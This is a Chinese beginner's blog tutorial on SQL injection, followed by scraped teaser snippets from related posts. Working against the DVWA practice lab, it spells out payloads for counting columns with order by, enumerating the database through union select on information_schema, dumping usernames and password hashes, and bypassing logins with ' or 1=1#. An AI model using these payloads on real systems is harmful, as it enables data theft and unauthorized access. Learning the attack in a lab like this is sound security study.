1. 程式人生 > >簡單的SQL注入原理

簡單的SQL注入原理

小白學了一點簡單的SQL注入,做了點筆記,感覺挺詳細,希望能幫助到學習的夥伴。大佬勿噴,有不足多多的指教。

實驗原理

SQL注入攻擊是通過將惡意的SQL查詢或新增語句插入到應用的輸入引數中,再在後臺SQL伺服器上解析執行進行的攻擊,它目前是黑客對資料庫進行攻擊的最常用的手段之一。本課程將帶你從介紹web應用執行原理開始,一步一步理解SQL注入的由來,原理和攻擊方式。

SQL注入帶來的威脅主要有如下幾點:
■猜解後臺資料庫,這是利用最多的方式,盜取網站的敏感資訊。
■繞過認證,列如繞過驗證登入網站後臺。
■注入可以藉助資料庫的儲存過程進行提權等操作。

4.sql注入示例一.猜解資料庫

看看後臺中到底執行了什麼樣的SQL語句呢?點選view-source檢視原始碼:


實際執行的SQL語句是:
select first_name,last_name from users where user_id= ='1';

(這裡我建議先學一下MySQL這樣會理解的更好一點,這裡我推薦一下我在前面學習的mysql筆記:)

我們是通過控制引數id的值來返回我們需要的資訊。如果我們不按常理出牌,比如在輸入框中輸入1‘ order by 1# 實際執行的SQL語句會變成:
select first_name,last_name from users where user_id = '1' order by 1#';(按照Mysql語法,#後面的會被註釋掉,使用這種方法遮蔽掉後面的單引號,避免語法錯誤)
語句的意思就是查詢users表中的first_name,last_name中的user_id為1的資料並按第一欄位排行(order by 語句用於根據指定的列對結果集進行排序,語句預設是按照升序記錄進行排序的)。
輸入 1’ order by 1#和1‘ order by 2#時都返回正常:

當輸入1’ order by 3#時,返回出錯:

由此可知,users表中只有兩個欄位,資料為兩列。接下來我們使用union select 聯合查詢繼續獲取資訊。union運算子可以將兩個或者兩個以上select語句的查詢結果集合合併成一個結果集顯示,即執行聯合查詢。需要注意在使用union查詢的時候需要和主查詢的列數相同,而我們之前已經知道了主查詢列數為2,接下來就好辦了。輸入1‘ union select database(),user()#進行查詢:
database()將會返回當前網站所使用的資料庫名字。
user()將會返回執行當前查詢的使用者名稱。

實際執行的SQL語句是:
select first_name,last_name from users where user_id = '1' union sesect database(),user()#';

通過上圖的返回資訊,我們成功獲取到:
■當前網站使用的資料庫為dvwa。
■當前執行查詢使用者名稱為[email protected]
同理我們在輸入1’ union select version(),@@version_compile_os#進行查詢:
■version()獲取當前資料庫的版本
■@@version_compile_os獲取當前作業系統。

實際執行的SQL語句是:
select first_name,last_name from users where user_id = '1' union select version(),@@version_compile_os#';

通過上面的圖中返回資訊,我們可以知道:

■當前的資料庫版本為:5.5.50-0Ubuntu0.14.04.1

■當前的作業系統為:debian-linux-gun

接下來我們嘗試獲取dvwa資料庫中的表名。information_schema是mysql自帶的一張表,這張資料表儲存了Mysql伺服器所有資料庫的資訊,如資料庫名、資料庫的表、表欄的資料型別與訪問許可權等。該資料庫擁有一個名為tables的資料表,該表包含兩個欄位table_name和table_schema,分別記錄DBMS中的儲存的表名和表名所在的資料庫。

我們輸入1‘ union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#進行查詢:
實際執行的SQL語句是
select first_name,last_name from users where user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#';


通過上圖返回資訊,我們可以知道:

■dvwa資料庫有兩個資料表,分別是guestbook和users。
有些人啊覺得這些資訊還是不夠,那麼我們接下來嘗試獲取重量級的使用者名稱,密碼,有經驗的大家可以大膽的猜測users表的欄位為user和password,所以輸入:1’ union select user,password from users#進行查詢:實際執行的SQL語句是:
select first_name,last_name from users where user_id = '1' union select user,password from users#';

可以看到成功的爆出使用者名稱,密碼,密碼採用md5進行加密,可以到www.cmd5.com進行解密。

Sql 注入例項二.驗證繞過

接下來我們再試試另一個利用SQL漏洞繞過登入驗證的實驗。

給我的是一個普通的登入頁面,只要輸入正確的使用者名稱和密碼就能登入成功。我們先嚐試所以輸入使用者名稱123,密碼123登入:
嗯,就是隨手一試,也就隨便給了我一個錯誤的介面。23333

從錯誤頁面中我們無法獲取到任何資訊。看看後臺程式碼如何做實驗的:


實際執行的操作時:

select * from users where username='123' and password='123'

當查詢到資料表中存在同時滿足username和password欄位時,會返回登入成功。按照第一個實驗的思路,我們嘗試在使用者名稱中輸入123‘ or 1=1#;

為什麼能夠登入成功呢?因為實際執行的語句是:
 select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'
一樣按照Mysql語法,#後面的內容會被忽略,所以以上語句等同於(實際上密碼框裡不輸入任何東西一樣):
select * from users where username='123' or 1=1
由於判斷語句 or 1=1恆成立,所以結果當然返回真值,登入成功。我們再嘗試不用#遮蔽引號,採用手動閉合的方式:我們嘗試在使用者名稱中輸入123’ or ‘1’=‘1.密碼同樣輸入123’ or ‘1’=‘1(不能少了單引號,否則會有語法錯誤):
實際執行的SQL語句是:

select * from users where username ='123' or '1' ='1' and password='123' or '1'='1'
看到了嗎?兩個or語句使and前後兩個判斷永遠恆等與真,這所以能夠成功登入。

                                                   歡迎關注微信公眾號     

                                                      

                                                  

相關推薦

簡單SQL注入原理

小白學了一點簡單的SQL注入,做了點筆記,感覺挺詳細,希望能幫助到學習的夥伴。大佬勿噴,有不足多多的指教。 實驗原理 SQL注入攻擊是通過將惡意的SQL查詢或新增語句插入到應用的輸入引數中,再在後臺SQL伺服器上解析執行進行的攻擊,它目前是黑客對資料庫進行攻擊的最常用的手

Mybatis防止sql注入原理

     SQL 注入是一種程式碼注入技術,用於攻擊資料驅動的應用,惡意的SQL 語句被插入到執行的實體欄位中(例如,為了轉儲資料庫內容給攻擊者)。[摘自]  SQL注入 - 維基百科SQL注入,大家都不陌生,是一種常見的攻擊方式。攻擊者在介面的表單資訊或UR

Java程式設計師從笨鳥到菜鳥之(一百)sql注入攻擊詳解(一)sql注入原理詳解

分享一下我老師大神的人工智慧教程!零基礎,通俗易懂!http://blog.csdn.net/jiangjunshow 也歡迎大家轉載本篇文章。分享知識,造福人民,實現我們中華民族偉大復興!        

sql注入原理及預防措施

SQL注入就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的SQL命令。對於很多網站都有使用者提交表單的埠,提交的資料插入MySQL資料庫中,就有可能發生SQL注入安全問題,那麼,如何防止SQL注入呢? 針對SQL注入安全問題的預防,需時刻認定使

回頭探索JDBC及PreparedStatement防SQL注入原理

概述 JDBC在我們學習J2EE的時候已經接觸到了,但是僅是照搬步驟書寫,其中的PreparedStatement防sql注入原理也是一知半解,然後就想回頭查資料及敲測試程式碼探索一下。再有就是我們在專案中有一些配置項是有時候要變動的,比如資料庫的資料來源,為了在修改配置時不改動編譯的程式碼,我們把要變動的

SQL注入原理--手工聯合查詢注入技術

                     **實驗目的:理解聯合查詢原理、學習聯合查詢過程**實驗原理: 1、連結後面新增【order by 11(數字任意)】根據頁面返回結果,來判斷站點中的欄位數目2、在連結後面新增語句【union select 1,2,3,4,5,6,7,8,9,10,11 from a

SQL注入原理及防範

    前段時間部門遇到SQL注入攻擊,在此,我也分享一下自己的經驗和理解。     首先一個很重要的論點:SQL注入是可以完全杜絕的 SQL注入原因     通俗點講,SQL注入的根本原因是: "使用者輸入資料"意外變成了程式碼被執行。     "使用者輸入資料"我

[web安全] SQL注入原理與分類

一、SQL注入原理 SQL注入漏洞的形成原因:使用者輸入的資料被SQL直譯器執行利用SQL注入繞過登入驗證 在登入的過程中使用者輸入“使用者名稱”和“密碼”。 在程式中執行如下的SQL語句:select count(*) from admin where username=

sql注入原理【java】

String sql=”select * from judy88 where ” + “pname=’” + username + “’ and password=’” + password + “’”; 如果是加號必須用”“號 進行括起來。 解決注入問

SQL注入原理,值得一看

隨著B/S模式應用開發的發展,使用這種模式編寫應用程式的程式設計師也越來越多。但是由於這個行業的入門門檻不高,程式設計師的水平及經驗也參差不齊,相當大一部分程式設計師在編寫程式碼的時候,沒有對使用者輸入資料的合法性進行判斷,使應用程式存在安全隱患。使用者可以提交一段資料庫查

SQL注入原理-萬能密碼注入

一、學習目的 1、理解【萬能密碼】原理 2、學習【萬能密碼】的使用 二、實驗環境: 本機:192.168.1.2 目標機:192.168.1.3 三、舉例說明 **2、輸入使用者名稱:admin 萬能密碼:2’or’1 如圖:**

SQL注入原理-手工注入access資料庫

一、Target: SQL注入原理、學習手工注入過程 二、實驗原理:通過把SQL命令插入到web表單提交或輸入域名或頁面請求的的查詢字串,最終達到欺騙伺服器執行惡意的SQL命令 1、在結尾的連結中依次新增【’】和【and 1=1】和【and 1=2】判斷網

SQL注入原理以及如何避免注入

SQL注入:到底什麼時候會用到SQL呢?回答是訪問資料庫的時候,也就是說SQL注入-->直接威脅到了資料來源,呵呵,資料庫都收到了威脅,網站還能正常現實麼? 所謂SQL注入,就是通過把SQL命令

sql注入原理詳解(一)

一、什麼是sql注入呢?         所謂SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的SQL命令,比如先前的很多影視網站洩露VIP會員密碼大多就是通過WEB表單遞交查詢字元暴出的,這類表單特別容易受到S

SQL注入原理講解

日前,國內最大的程式設計師社群CSDN網站的使用者資料庫被黑客公開發布,600萬用戶的登入名及密碼被公開洩露,隨後又有多家網站的使用者密碼被流傳於網路,連日來引發眾多網民對自己賬號、密碼等網際網路資訊被盜取的普遍擔憂。 網路安全成為了現在網際網路的焦點,這也恰恰觸動了每一位

本地搭建簡單SQL注入環境

      首先本地要有一個wamp server,因為SQL注入涉及到與資料庫互動,所以先從搭建測試資料庫開始。       開啟mysql console,輸入root賬戶密碼登陸。建立一個數據庫,並命名為fake,命令如下: create databa

以mysql為例介紹PreparedStatement防止sql注入原理

最近,在寫程式時開始注意到sql注入的問題,由於以前寫程式碼時不是很注意,有一些sql會存在被注入的風險,那麼防止sql注入的原理是什麼呢?我們首先通過PrepareStatement這個類來學習一下吧! 作為一個IT業內人士只要接觸過資料庫的人都應該知道sq

【Hibernate實戰】原始碼解析Hibernate引數繫結及PreparedStatement防SQL注入原理

    本文采用mysql驅動是5.1.38版本。    本篇文章涉及內容比較多,單就Hibernate來講就很大,再加上資料庫驅動和資料庫相關,非一篇文章或一篇專題就能說得完。本文從使用入手在【Spring實戰】----Spring4.3.2整合Hibernate5.2

寬位元組SQL注入原理

0x01: 經典的SQL注入利用的是沒有任何防範措施的PHP使用SQL查詢語句時可以通過URL輸入造成該語句恆成立,從而可以獲得資料庫中的其他資訊。 舉個例子: <?php $name=$_GET['name'];

PreparedStatement防止sql注入原理

PreparedStatement類是java的一個類,準確說是jdbc規範中的一個介面,各個資料庫產商的實現不同(即實現類不同),今天我們就以mysql資料庫來說,我已經下載了mysql資料庫的驅動jar包和驅動程式的原始碼. sql注入的時候,比如,有些使用者就會在介面